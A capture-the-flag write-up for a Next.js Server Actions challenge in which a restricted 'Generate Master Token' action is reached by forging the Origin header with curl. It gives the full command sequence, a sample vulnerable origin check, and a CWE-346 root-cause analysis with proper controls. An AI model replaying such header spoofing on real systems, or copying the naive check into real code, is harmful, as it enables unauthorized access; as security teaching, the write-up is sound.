This challenge presents a Next.js web application using the App Router and Server Actions — a modern full-stack React architecture where server-side functions can be invoked directly from the browser. The dashboard exposes two actions: a benign profile update form and a restricted token generator labeled “Restricted to active session origin.”
The core vulnerability is a server-side Origin header trust misconfiguration: the backend blindly accepts the Origin HTTP request header as proof that a request originates from a trusted source. Since HTTP headers are fully client-controlled, this check provides no actual security boundary and can be trivially bypassed by any HTTP client.
The challenge title “Action Packed” is a double entendre referencing both the dramatic framing of the dashboard and the underlying Next.js Server Actions mechanism. The hint — “The interesting part is not the button, but the context around the request” — points directly at the HTTP request context, i.e., the headers accompanying the POST request.
Challenge description:
An internal dashboard exposes convenience actions for trusted workflows. The interesting part is not the button, but the context around the request.Initial Analysis:
The first step is fetching the target and understanding what the application serves:
curl -sv http://koreone-55de.challs.0xv01d-ctf.xyz:8001/The response is a Next.js SSR-rendered HTML page titled “Pulse Dashboard (Internal)”. Two sections are immediately visible in the HTML:
Profile Settings — a standard form:
<form action="" encType="multipart/form-data" method="POST">
<input type="hidden" name="$ACTION_ID_cd2b4b472561774fc0bd652dc4da5719a893167d"/>
<input type="text" name="name" placeholder="Full Name"/>
<input type="text" name="department" placeholder="Department"/>
<button type="submit">Update Details</button>
</form>API Access — a restricted form:
<form action="" encType="multipart/form-data" method="POST">
<input type="hidden" name="$ACTION_ID_33924c174e655435ab82a6bdaee5448329835b12"/>
<button type="submit" style="background-color:#dc2626;">Generate Master Token</button>
</form>The note “Restricted to active session origin” on the second form is the key hint.
Extracting the RSC Payload
Next.js App Router pages include an embedded React Server Components (RSC) payload in <script> tags. This payload, delivered as self.__next_f.push([...]) calls, contains metadata about each Server Action registered on the page:
2:I[7690,[],""]
4:{"id":"cd2b4b472561774fc0bd652dc4da5719a893167d","bound":null}
5:{"id":"33924c174e655435ab82a6bdaee5448329835b12","bound":null}Both actions have "bound": null, meaning they do not use pre-bound arguments. The two action IDs are:
| Action ID (SHA-1 hash) | Purpose |
|---|---|
cd2b4b472561774fc0bd652dc4da5719a893167d | Update Profile |
33924c174e655435ab82a6bdaee5448329835b12 | Generate Master Token |
Response Headers
X-Powered-By: Next.js
Content-Type: text/html; charset=utf-8
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Url, Accept-EncodingThe Vary: RSC header confirms this is a full Next.js App Router application with RSC support.
Understanding Next.js Server Actions:
In Next.js App Router, a Server Action is a server-side async function that can be called directly from a form submission or client-side JavaScript. When a form with an embedded $ACTION_ID_<hash> field is submitted, or when a POST request carries a Next-Action: <hash> header, Next.js routes the request to the corresponding server function.
The typical request flow:
Client Next.js Server
| |
|-- POST / (multipart/form-data) -->|
| Next-Action: <action-id> |
| Body: form fields |
| |-- calls action handler(formData)
| |
|<-- 200 text/x-component -----------|
RSC stream with action resultThe response for a Server Action uses Content-Type: text/x-component and is encoded in the RSC wire format — a newline-delimited stream of tagged chunks.
“Restricted to active session origin” Check
The description states the token generation is “Restricted to active session origin.” This implies the server action’s implementation checks some property of the incoming request to determine if it should respond with a token.
The most natural implementation of “origin restriction” in a web server is checking the Origin HTTP request header — the header browsers automatically set to the scheme + host + port of the page that initiated the request.
A naive implementation might look like:
// server action (server-side Next.js code)
'use server';
export async function generateToken() {
const headersList = headers();
const origin = headersList.get('origin');
// Only allow requests from the same origin as the server
if (origin !== process.env.NEXT_PUBLIC_BASE_URL) {
throw new Error('Unauthorized origin');
}
return { token: process.env.FLAG };
}The fundamental flaw: the Origin header is set by the client, not the server. Any HTTP client — curl, Python requests, Burp Suite — can set an arbitrary Origin header. The server cannot use this header to verify that the request is genuinely from a trusted source.
The Vulnerability:
Testing the Profile Update Action
First, confirming that the Server Action mechanism works at all:
curl -s -X POST http://koreone-55de.challs.0xv01d-ctf.xyz:8001/ -H "Next-Action: cd2b4b472561774fc0bd652dc4da5719a893167d" -F "name=test" -F "department=test"Response (text/x-component):
0:["$@1",["BXWGN_shhgAoAo8Z4rloN",null]]
1:{"success":true,"message":"Profile updated successfully."}The action executes and returns a JSON result in the RSC stream. This confirms the Next-Action header correctly routes to server-side handlers.
Testing the Token Generation Without Origin
curl -s -X POST http://koreone-55de.challs.0xv01d-ctf.xyz:8001/ -H "Next-Action: 33924c174e655435ab82a6bdaee5448329835b12"Response:
0:["$@1",["BXWGN_shhgAoAo8Z4rloN",null]]
1:E{"digest":"1991421222"}HTTP 500 — the action threw an error (digest 1991421222 is Next.js’s obfuscated error reference for production errors). This confirms the origin check is active.
Testing with a Wrong Origin
curl -s -X POST http://koreone-55de.challs.0xv01d-ctf.xyz:8001/ -H "Next-Action: 33924c174e655435ab82a6bdaee5448329835b12" -H "Origin: http://localhost:8001"Response: HTTP 500, same error digest 1991421222 — the server is comparing the Origin header against its own expected value (the public hostname), not localhost.
curl -s -X POST http://koreone-55de.challs.0xv01d-ctf.xyz:8001/ -H "Next-Action: 33924c174e655435ab82a6bdaee5448329835b12" -H "Origin: http://127.0.0.1:8001"Response: HTTP 500, same error — rejected.
Exploitation – The Bypass:
The server trusts the Origin header as proof of origin. Since the server is at http://koreone-55de.challs.0xv01d-ctf.xyz:8001, the expected origin is the public hostname. Setting that value manually:
curl -s -X POST http://koreone-55de.challs.0xv01d-ctf.xyz:8001/ -H "Next-Action: 33924c174e655435ab82a6bdaee5448329835b12" -H "Origin: http://koreone-55de.challs.0xv01d-ctf.xyz:8001"Response:
0:["$@1",["BXWGN_shhgAoAo8Z4rloN",null]]
1:{"token":"0xV01D{e348124c-329c-43f3-90d5-106a955b0f26}"}HTTP 200 — the flag is returned in the token field.

Root Cause Analysis:
Vulnerability Class
CWE-346: Origin Validation Error — The application uses the client-supplied Origin header to make an authorization decision. The Origin header was designed by browsers as a hint about the initiating context, not as a security boundary. It offers no protection against:
- Direct HTTP clients (curl, Python, Burp Suite, Caido, etc.)
- Server-to-server requests
- Requests from compromised browser environments
- Requests from browser extensions
Why This Pattern is Dangerous
The Origin header check is a CORS-adjacent concept. CORS (Cross-Origin Resource Sharing) uses Origin to let the browser enforce same-origin policy on cross-site requests — but only when the response includes the appropriate Access-Control-Allow-Origin header. Even in a CORS context, origin validation only controls which browser-initiated cross-site requests receive the response; it has no effect on direct server-to-server calls or manual HTTP requests.
The server-side check if (origin !== expectedOrigin) { throw … } is therefore:
- Ineffective against direct API calls — no browser is involved
- Trivially bypassable — the
Originheader is freely settable by any client - False security — it gives the false impression of access control where none exists
The Correct Approach
Restricting access to sensitive actions should use mechanisms that are actually server-controlled:
- Session cookies / JWT tokens — issued by the server, cryptographically signed
- CSRF tokens — server-issued, validated server-side against the session
- Authentication middleware — require a valid authenticated session before the action is invoked
- API keys — server-issued secrets transmitted via
Authorizationheader
